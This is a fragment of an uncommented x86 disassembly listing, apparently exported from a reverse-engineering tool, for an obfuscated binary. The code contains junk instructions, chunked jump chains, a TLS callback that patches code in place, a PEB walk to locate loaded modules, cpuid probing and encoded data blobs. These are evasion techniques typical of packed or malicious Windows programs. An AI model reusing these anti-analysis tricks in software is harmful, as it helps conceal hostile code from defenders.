sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42AEDD proc near ; CODE XREF: wto1jq8f:0042B78Bj ; sub_42BE69+B6Ep ; FUNCTION CHUNK AT 00426030 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FBD4 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_42FBD4 sub_42AEDD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_42AEF4: ; CODE XREF: sub_42CF89:loc_42FA8Ej jnz loc_424738 ; END OF FUNCTION CHUNK FOR sub_42CF89 ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42AEFA: ; CODE XREF: sub_425E35+Ej jmp loc_42EEE7 ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- db 0Fh dd 115189h, 3DE38100h, 3B2823F4h, 9B8BE9D0h, 0C085FFFFh dd 40148C0Fh, 7D830000h, 950F00F0h, 7E9FB45h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_42AF27: ; CODE XREF: wto1jq8f:00427554j ; wto1jq8f:00427568j add edx, 6675838Eh popf sbb eax, edx pop edx mov ecx, 0B6F8F93Fh push offset sub_42E115 jmp loc_424D4E ; --------------------------------------------------------------------------- loc_42AF40: ; CODE XREF: wto1jq8f:00426349j sub eax, ebp xchg edi, ebp loc_42AF44: ; CODE XREF: wto1jq8f:0042A0B1j not ecx and edx, 8F41AD39h ; START OF FUNCTION CHUNK FOR sub_427A30 loc_42AF4C: ; CODE XREF: sub_427A30:loc_42633Bj or eax, 2DF8567Dh add eax, 50457EE3h jmp loc_42EEDF ; END OF FUNCTION CHUNK FOR sub_427A30 ; --------------------------------------------------------------------------- jl loc_429F4F jmp loc_4292AB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42AF69: ; CODE XREF: wto1jq8f:0042E233j jmp sub_429165 ; --------------------------------------------------------------------------- loc_42AF6E: ; CODE XREF: wto1jq8f:0042A524j jmp loc_426635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42AF73: ; CODE XREF: sub_4272F3-56Fj jmp loc_425FDE ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F185 loc_42AF78: ; CODE XREF: sub_42F185:loc_425E8Bj call sub_42DB52 loc_42AF7D: ; CODE XREF: sub_42F25F-5935j jmp loc_428494 ; END OF FUNCTION CHUNK FOR sub_42F185 ; =============== S U B R O U T I N E ======================================= sub_42AF82 proc near ; CODE XREF: wto1jq8f:0042B9F4j ; sub_42BB12p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00427FFF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D3B9 SIZE 00000006 BYTES xchg edx, [esp+0] pop edx mov [esp-4+arg_0], ebp mov ebp, esp call sub_424DA0 loc_42AF90: ; CODE XREF: sub_42D22D:loc_429738j ; sub_4266B1+4BD9j jnz loc_42D3B9 jmp loc_427FFF sub_42AF82 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset sub_42ED54 jmp loc_42E08B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42AFA5: ; CODE XREF: sub_42A909-6741j jnb loc_424D3B xor edx, 5B83C332h xor edi, ecx jmp loc_424024 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- cmp esi, ebp jmp loc_42C851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42AFBF: ; CODE XREF: sub_428333:loc_42C3FEj xchg ebx, [esp-8+arg_4] jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_428333 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB75 loc_42AFC8: ; CODE XREF: sub_42BB75+8j jmp loc_4240ED ; END OF FUNCTION CHUNK FOR sub_42BB75 ; =============== S U B R O U T I N E ======================================= sub_42AFCD proc near ; CODE XREF: sub_4260DB+27E1p ; wto1jq8f:00429012j ; FUNCTION CHUNK AT 0042BC81 SIZE 0000000A BYTES mov [esp+0], eax pop eax add eax, ebp add eax, 0F6F72304h mov dword ptr [eax], 737361h push 0 jmp loc_42BC81 sub_42AFCD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42AFE6: ; CODE XREF: TlsCallback_0+4j mov ebp, esp push ecx jnz loc_42F690 inc ds:dword_42F1CC lea eax, sub_42ADC7 loc_42AFFB: ; CODE XREF: wto1jq8f:loc_42B8B5j mov byte ptr [eax], 0C3h call sub_4266EF call sub_42D993 jmp loc_42BA7F ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42B00D: ; CODE XREF: sub_426D4F:loc_42B970j ja loc_429E88 jmp loc_42BC5B ; END OF FUNCTION CHUNK FOR sub_426D4F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42B019 proc near ; DATA XREF: sub_426968:loc_426DC7o ; FUNCTION CHUNK AT 0042CA83 SIZE 00000005 BYTES add ecx, 0BCB1581Dh xchg ecx, [esp+0] jmp loc_42CA83 sub_42B019 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E555 loc_42B028: ; CODE XREF: sub_42E555+9j jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_42E555 ; =============== S U B R O U T I N E ======================================= sub_42B02D proc near ; CODE XREF: sub_42760F-2C50p ; sub_4266B1+3p ... ; FUNCTION CHUNK AT 004265A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E04 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00429633 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B66 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042A8CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B393 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042B4B4 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042D80A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E090 SIZE 0000000A BYTES js sub_42BB2A push ebp mov ebp, esp push ecx jmp loc_428E04 sub_42B02D endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42B03C: ; CODE XREF: wto1jq8f:loc_42429Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42B03D: ; CODE XREF: sub_42DEFF-1447j jmp loc_426545 ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- loc_42B042: ; CODE XREF: wto1jq8f:00428034j jmp loc_42FA23 ; --------------------------------------------------------------------------- loc_42B047: ; CODE XREF: wto1jq8f:0042D969j sbb ecx, 0DE7C2A0Ah rol ebp, 7 jmp loc_426F81 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B056: ; CODE XREF: wto1jq8f:0042863Ej jg loc_42F230 jmp loc_42E986 ; --------------------------------------------------------------------------- loc_42B061: ; CODE XREF: wto1jq8f:loc_42C912j push 9E876E25h pop eax and eax, 6BBD6014h add eax, 0F5BD3554h mov eax, [eax] mov edx, [ebp-4] mov byte ptr [eax+edx], 0 jmp loc_4264C8 ; --------------------------------------------------------------------------- mov [ebp+0], edx jmp loc_42634E ; --------------------------------------------------------------------------- loc_42B089: ; DATA XREF: sub_429471-33A0o push 0 push 10h mov eax, [ebp-8] ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42B090: ; CODE XREF: sub_4267AE+4D7j push eax call sub_42AEA4 ; END OF FUNCTION CHUNK FOR sub_4267AE ; START OF FUNCTION CHUNK FOR sub_426313 loc_42B096: ; CODE XREF: sub_426313+33D1j jo loc_4271F6 not ebx jmp loc_42DC52 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42B0A3: ; CODE XREF: sub_42F50F-253Dj ja loc_42D068 jmp loc_429EEA ; END OF FUNCTION CHUNK FOR sub_42F50F ; =============== S U B R O U T I N E ======================================= sub_42B0AE proc near ; CODE XREF: sub_42E0FD+6p mov [esp+0], ecx mov esp, ebp pop ebp push 0D4821EC9h mov eax, offset loc_426DEE push offset loc_426DEA jmp nullsub_47 sub_42B0AE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42B0C8: ; CODE XREF: sub_4282C1+15Aj rol eax, 1Bh jz loc_42F760 loc_42B0D1: ; CODE XREF: sub_4282C1:loc_42E858j push eax push 758212BEh pop eax loc_42B0D8: ; CODE XREF: wto1jq8f:loc_42BFBCj jmp loc_42DFFC ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42B0DD: ; CODE XREF: sub_42E9E8-44F3j jp loc_425BC4 or ecx, 0DFE3AE8Dh jmp loc_42849E ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42B0EE: ; CODE XREF: sub_42F25F-1B87j jo sub_427F4E loc_42B0F4: ; CODE XREF: sub_42F25F:loc_42A3B1j call sub_424585 mov edx, 0F75CA70h push esi jmp loc_42F0AC ; END OF FUNCTION CHUNK FOR sub_42F25F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42704E loc_42B105: ; CODE XREF: sub_42704E+8D8j ; wto1jq8f:0042C06Aj ror eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42704E ; =============== S U B R O U T I N E ======================================= sub_42B10A proc near ; CODE XREF: sub_429B76:loc_427B9Bp ; sub_42A0E5:loc_42CAFCj push offset sub_427694 jmp nullsub_55 sub_42B10A endp ; --------------------------------------------------------------------------- loc_42B114: ; CODE XREF: wto1jq8f:0042DA82j jz loc_42D974 jmp loc_42D412 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42B11F: ; CODE XREF: sub_4262F5-1B8Dj sub esi, 0B19FFA90h loc_42B125: ; CODE XREF: sub_4262F5:loc_429D23j call sub_42C859 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_42B12A proc near ; CODE XREF: sub_42992F+21p ; wto1jq8f:0042E94Fj xchg ecx, [esp+0] pop ecx inc dword ptr [ebp-4] loc_42B131: ; CODE XREF: sub_42E541-58ECj mov eax, [ebp+8] mov eax, [eax-18h] call sub_426968 loc_42B13C: ; CODE XREF: sub_4293FF+3EFEj jmp sub_42A56D sub_42B12A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42B141: ; CODE XREF: sub_426968+4BA8j jmp loc_42CC0F ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42B146: ; CODE XREF: wto1jq8f:00429C86j jmp loc_4261D2 ; --------------------------------------------------------------------------- js loc_42B5A6 shr edx, 9 jmp sub_42CF89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42B159: ; CODE XREF: sub_42F2C7:loc_42EC04j rol eax, 1Bh mov ds:dword_42D600, eax retn ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- loc_42B163: ; CODE XREF: wto1jq8f:00427E35j jmp loc_4290E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_42B168: ; CODE XREF: sub_4282FE-179Bj jmp loc_42CCED ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42B16D: ; CODE XREF: sub_42D4FD:loc_42C6D9j ror eax, 1Bh push eax push eax jmp loc_42DBF9 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- loc_42B177: ; CODE XREF: wto1jq8f:004247BCj cdq ; =============== S U B R O U T I N E ======================================= sub_42B178 proc near ; CODE XREF: sub_42A5C4+5F0p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax add eax, 3E669BA0h xchg eax, [esp-4+arg_0] jmp sub_4291B9 sub_42B178 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42B18A: ; CODE XREF: sub_429471-4BE8j jle loc_42B60A cdq jmp loc_42C137 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42B196: ; CODE XREF: sub_42EDB9-63A5j jns loc_42FC98 shr esi, 5 sub edx, 0FD1B2F93h loc_42B1A5: ; CODE XREF: sub_42EDB9:loc_42FA56j call sub_42A0E5 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_42B1AA: ; CODE XREF: sub_42EFB5+4j jmp loc_42C387 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C859 loc_42B1AF: ; CODE XREF: sub_42C859:loc_4281F0j mov edi, eax mov eax, 80000001h xor edx, edx cpuid and eax, 0FFFh add [esi], eax xor [esi], edx push offset sub_42FAE4 jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_42C859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B1CD: ; CODE XREF: wto1jq8f:00428C45j ; sub_426E98:loc_429B33j add ebx, 0D591627Dh call sub_42F62D ; END OF FUNCTION CHUNK FOR sub_426E98 ; START OF FUNCTION CHUNK FOR sub_428136 loc_42B1D8: ; CODE XREF: sub_428136+Dj jmp loc_426CEB ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF6 loc_42B1DD: ; CODE XREF: sub_42AAF6+Ej pop ebx or ebx, 0E06A5EB2h and ebx, 0C1771246h jnz loc_42DD9B loc_42B1F0: ; CODE XREF: sub_42E64B+B0Dj jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_42AAF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42B1F5: ; CODE XREF: sub_42E9E8+8Dj jmp loc_42A4EF ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42B1FA: ; CODE XREF: sub_4266B1+610Aj jmp loc_4259AE ; --------------------------------------------------------------------------- loc_42B1FF: ; CODE XREF: sub_4266B1+9F0j jmp loc_42A64D ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- jns loc_426500 jmp loc_42F298 ; --------------------------------------------------------------------------- locret_42B20F: ; CODE XREF: wto1jq8f:loc_4263E2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42B210: ; CODE XREF: sub_42B35E+11j jmp loc_42E38D ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42B215: ; CODE XREF: sub_426E98+2DD0j jmp loc_427A0C ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B6D loc_42B21A: ; CODE XREF: sub_429B6D+4j or eax, eax jnz loc_429E71 call sub_424382 or eax, eax jmp loc_429E6B ; END OF FUNCTION CHUNK FOR sub_429B6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_42B22E: ; CODE XREF: sub_4272F3+3127j or al, al jz loc_426D77 jmp loc_42980B ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- sub edi, eax xchg edx, [eax] jmp sub_42B5D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42B244: ; CODE XREF: sub_429BFF+22C2j sub ebp, ebx test ebx, ecx jmp loc_426DA6 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_42B24D: ; CODE XREF: sub_4282FE+212Fj jz loc_426B5D sbb esi, 6E9558E4h ror esi, 12h jmp loc_42F5A8 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42B261: ; CODE XREF: sub_42C6C3:loc_42D81Cj push ecx push 0BDD6D154h pop ecx xor ecx, 0BDD6D17Ch jmp loc_42979E ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B274: ; CODE XREF: wto1jq8f:0042DD1Dj add esi, edi ; =============== S U B R O U T I N E ======================================= sub_42B276 proc near ; CODE XREF: sub_42628C+6A3Dp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00426281 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427101 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427C6B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428193 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004281AB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428B27 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428E35 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429D43 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A307 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B922 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D8B4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042F6DD SIZE 00000008 BYTES mov [esp+0], ebx pop ebx xchg edx, edi push eax push ebx pop eax jmp loc_42D8B4 sub_42B276 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42B285: ; CODE XREF: sub_4266B1:loc_42C470j mov ebx, 0E67370A7h jnz loc_42AF90 mov edi, ecx jmp loc_425C9C ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42B297: ; CODE XREF: sub_42A909-9D0j jnz loc_424027 jmp loc_4241C6 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_42B2A2: ; CODE XREF: wto1jq8f:00429B2Ej jle loc_425AB9 ; =============== S U B R O U T I N E ======================================= sub_42B2A8 proc near ; CODE XREF: sub_427A8D+8251p ; FUNCTION CHUNK AT 00424B52 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00424DE2 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi loc_42B2AC: ; CODE XREF: wto1jq8f:loc_426800j lea edx, [ebp-14h] mov eax, offset dword_42D5D0 push edi push 5ED3F11Ch mov edi, offset loc_424B5B jmp loc_424DE2 sub_42B2A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B2C4 proc near ; DATA XREF: sub_4242D6:loc_42AB5Do push esi xchg ebp, esi loc_42B2C7: ; CODE XREF: sub_429471:loc_42C364j mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42F1F0, 0 jmp loc_42A4E4 sub_42B2C4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_42B2D8: ; CODE XREF: sub_42A88D-1D71j or ebp, 10919ECFh loc_42B2DE: ; CODE XREF: sub_42A88D:loc_427777j call sub_4242D6 mov edx, 0DE6CF580h call sub_429165 push eax loc_42B2EE: ; CODE XREF: wto1jq8f:00429B4Fj rol eax, 0Bh push ebx push 230B7ADFh jmp loc_428F4C ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42B2FC: ; CODE XREF: sub_42E0FD-2CFCj pop esi add esi, 2F91B6Ch xchg esi, [esp-8+arg_4] jmp loc_4290B3 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE7E loc_42B30B: ; CODE XREF: sub_42BE7E+353j test byte ptr [ebp-8], 40h call sub_42B705 loc_42B314: ; CODE XREF: sub_4262F5-3ABj jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42BE7E ; --------------------------------------------------------------------------- loc_42B319: ; CODE XREF: wto1jq8f:00426735j ja loc_429C3D ; =============== S U B R O U T I N E ======================================= sub_42B31F proc near ; CODE XREF: wto1jq8f:00429E4Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425DC1 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx xchg eax, [esp-4+arg_0] mov edx, eax pop eax and edx, 0CD475F61h jmp loc_425DC1 sub_42B31F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42B334: ; CODE XREF: sub_42609A+87D6j ; sub_429BFF:loc_42EE7Fj call sub_42481C ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_42B339 proc near ; CODE XREF: wto1jq8f:00424B61p ; sub_426968:loc_427D52j arg_0 = dword ptr 4 mov [esp+0], edx pop edx add edi, 166B5ECh xchg edi, [esp-4+arg_0] jmp loc_427AB7 sub_42B339 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea eax, [ebp-14h] jmp loc_42ED77 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B353 proc near ; CODE XREF: sub_427A8Dj ; FUNCTION CHUNK AT 004290BD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042943B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FFCB SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh jmp loc_42943B sub_42B353 endp ; =============== S U B R O U T I N E ======================================= sub_42B35E proc near ; CODE XREF: wto1jq8f:00427C66j ; sub_42ED01:loc_42D0CEp ; FUNCTION CHUNK AT 00425D11 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A007 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B210 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E38D SIZE 00000013 BYTES mov [esp+0], ebx pop ebx mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] jmp loc_42B210 sub_42B35E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42B374: ; CODE XREF: sub_429B76:loc_4247EDj sub edx, ds:4000F7h add edx, 0B4879305h xchg edx, [esp+8+var_8] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5FA loc_42B388: ; CODE XREF: sub_42E5FA:loc_42E50Cj pop eax call sub_42F25F ; END OF FUNCTION CHUNK FOR sub_42E5FA ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42B38E: ; CODE XREF: sub_4244EA+449Fj jmp loc_42CFB3 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42B393: ; CODE XREF: sub_42B02D+4A9j mov ds:dword_42FB5C, eax jmp loc_42D814 ; --------------------------------------------------------------------------- loc_42B39D: ; CODE XREF: sub_42B02D:loc_42B4B4j cmp ds:dword_42FB5C, 0 jnz loc_42E090 call sub_429B6D mov edx, 0E5254649h jmp loc_42A8CF ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- push 0FE557F17h pop edx add edx, ds:4000F1h and edx, 0BEDB578Eh add edx, 18B83CE3h call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_42F08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E350 loc_42B3E2: ; CODE XREF: sub_42E350:loc_42703Cj call sub_429165 call sub_426D31 ; END OF FUNCTION CHUNK FOR sub_42E350 ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42B3EC: ; CODE XREF: sub_42E0FD-2317j sub ecx, 0AF4F09C7h shr edi, 13h jnp loc_429B61 loc_42B3FB: ; CODE XREF: sub_42E0FD:loc_4273C5j push esi push 0FD497DF8h jmp loc_42B2FC ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42B406: ; CODE XREF: sub_424D3A+6BBDj add edx, 81F5F871h xor edi, 6A27030Ch loc_42B412: ; CODE XREF: sub_424D3A:loc_42B8EBj add eax, 8400D39Ch call sub_42FED8 ; END OF FUNCTION CHUNK FOR sub_424D3A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pushf jmp sub_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42B424: ; CODE XREF: sub_42506F+6691j jge loc_42C906 rol ebp, 0Bh jmp loc_42FCAC ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42B432: ; CODE XREF: sub_42E3FD-9C7Ej pop ebx pop eax pop ecx pop edx pop ebp jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_42E3FD ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 74h, 0B4h, 0E9h dd 4C524194h, 55A35DB0h, 38AA6285h, 0A0472FFEh, 8846068Ah dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 0C44D801h dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B7575CCh dd 0FCEE831Eh ; --------------------------------------------------------------------------- loc_42B484: ; DATA XREF: sub_42F185:loc_428494o test eax, eax jl loc_4250CA inc eax mov [ebp-24h], eax push offset sub_429484 jmp loc_427A6F ; --------------------------------------------------------------------------- lea eax, [ebp-14h] push eax call sub_42B02D mov ds:dword_42F1F0, eax jmp loc_4294E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB2A loc_42B4AD: ; CODE XREF: sub_42BB2A+350Ej xor eax, eax mov ds:dword_42FB50, eax ; END OF FUNCTION CHUNK FOR sub_42BB2A ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42B4B4: ; CODE XREF: sub_42B02D-2222j ; sub_42BB2A+34FCj ... jo loc_42B39D cmp ds:dword_42FB5C, 0 jnz loc_42E090 call sub_429B6D mov edx, 0E5254649h call sub_426C04 jmp loc_42B393 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- jb loc_4276C0 sub eax, ebx jmp sub_424907 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B4E8: ; CODE XREF: wto1jq8f:00427E9Cj ; sub_426535:loc_427EA5j ... jz loc_42504E cmp dword ptr [ebp-4], 5 jnz loc_424934 jmp loc_4280A8 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42B4FD proc near ; DATA XREF: sub_42EFB5-6566o rol eax, 9 mov ds:dword_42D5F0, eax retn sub_42B4FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42B507: ; CODE XREF: sub_42606D+6BE1j jmp loc_4284A6 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42B50C: ; CODE XREF: sub_426968+7A8Aj ror eax, 9 push eax jmp loc_42B141 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42B515: ; CODE XREF: sub_429F7D:loc_42B6CFj jnz loc_42A723 jmp loc_428E27 ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= sub_42B520 proc near ; CODE XREF: wto1jq8f:00429375j ; sub_4282C1+6592p ; FUNCTION CHUNK AT 00424899 SIZE 00000014 BYTES mov [esp+0], edx pop edx mov eax, [ebp+8] mov eax, [eax-10h] jmp loc_424899 sub_42B520 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B52F: ; CODE XREF: wto1jq8f:0042EF81j jnb loc_42BEC0 ; START OF FUNCTION CHUNK FOR sub_42DDE6 